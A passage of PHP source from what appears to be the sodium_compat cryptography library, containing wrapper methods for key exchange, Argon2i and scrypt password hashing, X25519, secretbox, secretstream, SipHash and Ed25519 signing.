        if (ParagonIE_Sodium_Core_Util::strlen($serverPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) {
            throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes');
        }

        $sk = self::crypto_kx_secretkey($keypair);
        $pk = self::crypto_kx_publickey($keypair);
        $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $serverPublicKey));
        self::crypto_generichash_update($h, $pk);
        self::crypto_generichash_update($h, $serverPublicKey);
        $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        return array(
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                0,
                self::CRYPTO_KX_SESSIONKEYBYTES
            ),
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                self::CRYPTO_KX_SESSIONKEYBYTES,
                self::CRYPTO_KX_SESSIONKEYBYTES
            )
        );
    }

    /**
     * @param string $keypair
     * @param string $clientPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    public static function crypto_kx_server_session_keys(
        #[\SensitiveParameter]
        $keypair,
        $clientPublicKey
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($clientPublicKey, 'string', 2);

        $keypair = (string) $keypair;
        $clientPublicKey = (string) $clientPublicKey;

        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) {
            throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($clientPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) {
            throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes');
        }

        $sk = self::crypto_kx_secretkey($keypair);
        $pk = self::crypto_kx_publickey($keypair);
        $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $clientPublicKey));
        self::crypto_generichash_update($h, $clientPublicKey);
        self::crypto_generichash_update($h, $pk);
        $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        return array(
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                self::CRYPTO_KX_SESSIONKEYBYTES,
                self::CRYPTO_KX_SESSIONKEYBYTES
            ),
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                0,
                self::CRYPTO_KX_SESSIONKEYBYTES
            )
        );
    }

    /**
     * @param string $kp
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_secretkey(
        #[\SensitiveParameter]
        $kp
    ) {
        return ParagonIE_Sodium_Core_Util::substr(
            $kp,
            0,
            self::CRYPTO_KX_SECRETKEYBYTES
        );
    }

    /**
     * @param string $kp
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_publickey($kp)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            $kp,
            self::CRYPTO_KX_SECRETKEYBYTES,
            self::CRYPTO_KX_PUBLICKEYBYTES
        );
    }

    /**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @param int|null $alg
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash(
        $outlen,
        #[\SensitiveParameter]
        $passwd,
        $salt,
        $opslimit,
        $memlimit,
        $alg = null
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt,  'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5);

        if (self::useNewSodiumAPI()) {
            if (!is_null($alg)) {
                ParagonIE_Sodium_Core_Util::declareScalarType($alg, 'int', 6);
                return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg);
            }
            return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit);
        }
        if (self::use_fallback('crypto_pwhash')) {
            return (string) call_user_func('\\Sodium\\crypto_pwhash', $outlen, $passwd, $salt, $opslimit, $memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function crypto_pwhash_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if (self::use_fallback('crypto_pwhash')) {
            return true;
        }
        return false;
    }

    /**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str(
        #[\SensitiveParameter]
        $passwd,
        $opslimit,
        $memlimit
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit);
        }
        if (self::use_fallback('crypto_pwhash_str')) {
            return (string) call_user_func('\\Sodium\\crypto_pwhash_str', $passwd, $opslimit, $memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * Do we need to rehash this password?
     *
     * @param string $hash
     * @param int $opslimit
     * @param int $memlimit
     * @return bool
     * @throws SodiumException
     */
    public static function crypto_pwhash_str_needs_rehash(
        #[\SensitiveParameter]
        $hash,
        $opslimit,
        $memlimit
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);

        // Just grab the first 4 pieces.
        $pieces = explode('$', (string) $hash);
        $prefix = implode('$', array_slice($pieces, 0, 4));

        // Rebuild the expected header.
        /** @var int $ops */
        $ops = (int) $opslimit;
        /** @var int $mem */
        $mem = (int) $memlimit >> 10;
        $encoded = self::CRYPTO_PWHASH_STRPREFIX . 'v=19$m=' . $mem . ',t=' . $ops . ',p=1';

        // Do they match? If so, we don't need to rehash, so return false.
        return !ParagonIE_Sodium_Core_Util::hashEquals($encoded, $prefix);
    }

    /**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str_verify(
        #[\SensitiveParameter]
        $passwd,
        #[\SensitiveParameter]
        $hash
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2);

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash);
        }
        if (self::use_fallback('crypto_pwhash_str_verify')) {
            return (bool) call_user_func('\\Sodium\\crypto_pwhash_str_verify', $passwd, $hash);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256(
        $outlen,
        #[\SensitiveParameter]
        $passwd,
        $salt,
        $opslimit,
        $memlimit
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt,  'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256(
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256',
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function crypto_pwhash_scryptsalsa208sha256_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
            return true;
        }
        return false;
    }

    /**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256_str(
        #[\SensitiveParameter]
        $passwd,
        $opslimit,
        $memlimit
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str(
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str',
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256_str_verify(
        #[\SensitiveParameter]
        $passwd,
        #[\SensitiveParameter]
        $hash
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2);

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_pwhash_scryptsalsa208sha256_str_verify(
                (string) $passwd,
                (string) $hash
            );
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str_verify')) {
            return (bool) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify',
                (string) $passwd,
                (string) $hash
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * Calculate the shared secret between your secret key and your
     * recipient's public key.
     *
     * Algorithm: X25519 (ECDH over Curve25519)
     *
     * @param string $secretKey
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult(
        #[\SensitiveParameter]
        $secretKey,
        $publicKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult($secretKey, $publicKey);
        }
        if (self::use_fallback('crypto_scalarmult')) {
            return (string) call_user_func('\\Sodium\\crypto_scalarmult', $secretKey, $publicKey);
        }

        /* Output validation: Forbid all-zero keys */
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException('Zero secret key is not allowed');
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey, str_repeat("\0", self::CRYPTO_BOX_PUBLICKEYBYTES))) {
            throw new SodiumException('Zero public key is not allowed');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult($secretKey, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey);
    }

    /**
     * Calculate an X25519 public key from an X25519 secret key.
     *
     * @param string $secretKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult_base(
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult_base($secretKey);
        }
        if (self::use_fallback('crypto_scalarmult_base')) {
            return (string) call_user_func('\\Sodium\\crypto_scalarmult_base', $secretKey);
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException('Zero secret key is not allowed');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey);
    }

    /**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XSalsa20-Poly1305
     *
     * @param string $plaintext The message you're encrypting
     * @param string $nonce A Number to be used Once; must be 24 bytes
     * @param string $key Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox(
        #[\SensitiveParameter]
        $plaintext,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_secretbox($plaintext, $nonce, $key);
        }
        if (self::use_fallback('crypto_secretbox')) {
            return (string) call_user_func('\\Sodium\\crypto_secretbox', $plaintext, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce, $key);
    }

    /**
     * Decrypts a message previously encrypted with crypto_secretbox().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_secretbox_open(
        $ciphertext,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
        }
        if (self::use_fallback('crypto_secretbox_open')) {
            return call_user_func('\\Sodium\\crypto_secretbox_open', $ciphertext, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce, $key);
    }

    /**
     * Return a secure random key for use with crypto_secretbox
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_secretbox_keygen()
    {
        return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES);
    }

    /**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XChaCha20-Poly1305
     *
     * @param string $plaintext The message you're encrypting
     * @param string $nonce     A Number to be used Once; must be 24 bytes
     * @param string $key       Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox_xchacha20poly1305($plaintext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce, $key);
    }
    /**
     * Decrypts a message previously encrypted with crypto_secretbox_xchacha20poly1305().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox_xchacha20poly1305_open(
        $ciphertext,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_SECRETBOX_MACBYTES) {
            throw new SodiumException("Ciphertext must be at least CRYPTO_SECRETBOX_MACBYTES long");
        }

        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key);
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_init_push(
        #[\SensitiveParameter]
        $key
    ) {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_push($key);
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_push($key);
    }

    /**
     * @param string $header
     * @param string $key
     * @return string Returns a state.
     * @throws Exception
     */
    public static function crypto_secretstream_xchacha20poly1305_init_pull(
        $header,
        #[\SensitiveParameter]
        $key
    ) {
        if (ParagonIE_Sodium_Core_Util::strlen($header) < self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES) {
            throw new SodiumException(
                'header size should be SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES bytes'
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_pull($key, $header);
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_pull($key, $header);
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_push(
        #[\SensitiveParameter]
        &$state,
        #[\SensitiveParameter]
        $msg,
        $aad = '',
        $tag = 0
    ) {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_push(
                $state,
                $msg,
                $aad,
                $tag
            );
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_push(
            $state,
            $msg,
            $aad,
            $tag
        );
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_pull(
        #[\SensitiveParameter]
        &$state,
        $msg,
        $aad = ''
    ) {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_pull(
                $state,
                $msg,
                $aad
            );
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_pull(
            $state,
            $msg,
            $aad
        );
    }

    /**
     * @return string
     * @throws Exception
     */
    public static function crypto_secretstream_xchacha20poly1305_keygen()
    {
        return random_bytes(self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_rekey(
        #[\SensitiveParameter]
        &$state
    ) {
        if (PHP_INT_SIZE === 4) {
            ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_rekey($state);
        } else {
            ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_rekey($state);
        }
    }

    /**
     * Calculates a SipHash-2-4 hash of a message for a given key.
     *
     * @param string $message Input message
     * @param string $key SipHash-2-4 key
     * @return string         Hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_shorthash(
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SHORTHASH_KEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SHORTHASH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_shorthash($message, $key);
        }
        if (self::use_fallback('crypto_shorthash')) {
            return (string) call_user_func('\\Sodium\\crypto_shorthash', $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_SipHash::sipHash24($message, $key);
        }
        return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key);
    }

    /**
     * Return a secure random key for use with crypto_shorthash
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_shorthash_keygen()
    {
        return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES);
    }

    /**
     * Returns a signed message. You probably want crypto_sign_detached()
     * instead, which only returns the signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed.
     * @param string $secretKey Secret signing key.
     * @return string           Signed message (signature is prefixed).
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign(
        $message,
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign($message, $secretKey);
        }
        if (self::use_fallback('crypto_sign')) {
            return (string) call_user_func('\\Sodium\\crypto_sign', $message, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign($message, $secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign($message, $secretKey);
    }

    /**
     * Validates a signed message then returns the message.
     *
     * @param string $signedMessage A signed message
     * @param string $publicKey A public key
     * @return string               The original message (if the signature is
     *                              valid for this public key)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign_open(
        $signedMessage,
        $publicKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) < self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_sign_open($signedMessage, $publicKey);
        }
        if (self::use_fallback('crypto_sign_open')) {
            return call_user_func('\\Sodium\\crypto_sign_open', $signedMessage, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_open($signedMessage, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_open($signedMessage, $publicKey);
    }

    /**
     * Generate a new random Ed25519 keypair.
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_sign_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_keypair();
        }
        if (self::use_fallback('crypto_sign_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_keypair');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::keypair();
        }
        return ParagonIE_Sodium_Core_Ed25519::keypair();
    }

    /**
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     */
    public static function crypto_sign_keypair_from_secretkey_and_publickey(
        #[\SensitiveParameter]
        $sk,
        $pk
    )  {
        ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1);
        $sk = (string) $sk;
        $pk = (string) $pk;

        if (ParagonIE_Sodium_Core_Util::strlen($sk) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('secretkey should be SODIUM_CRYPTO_SIGN_SECRETKEYBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($pk) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('publickey should be SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES bytes');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk);
        }
        return $sk . $pk;
    }

    /**
     * Generate an Ed25519 keypair from a seed.
     *
     * @param string $seed Input seed
     * @return string      Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
